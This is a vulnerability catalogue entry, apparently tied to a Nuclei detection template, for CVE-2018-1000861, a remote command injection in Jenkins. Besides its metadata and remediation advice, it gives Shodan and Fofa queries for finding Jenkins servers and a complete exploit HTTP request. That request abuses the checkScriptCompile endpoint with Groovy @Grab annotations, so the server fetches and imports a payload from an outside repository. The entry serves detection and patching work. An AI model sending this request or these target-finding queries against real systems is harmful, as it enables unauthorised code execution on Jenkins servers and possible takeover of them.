| Title | Jenkins - Remote Command Injection |
|---|---|
| Author | dhiyaneshDK,pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Jenkins server. |
| Remediation | Apply the latest security patches and updates provided by Jenkins to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94485 |
| CVE ID | CVE-2018-1000861 |
| CWE ID | CWE-502 |
| Shodan Query | http.favicon.hash:81586312cpe:"cpe:2.3:a:jenkins:jenkins"product:"jenkins" |
| Fofa Query | icon_hash=81586312 |
| Tags | cve2018 cve packetstorm kev vulhub rce jenkins vkev vuln |
Jenkins 2.153 and earlier and LTS 2.138.3 and earlier are susceptible to a remote command injection via stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way.
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000861.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-1000861.pcap
N/AN/A